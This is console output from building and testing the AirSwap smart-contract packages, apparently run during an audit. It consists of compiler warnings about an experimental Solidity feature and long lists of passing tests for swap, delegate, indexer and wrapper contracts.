,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) 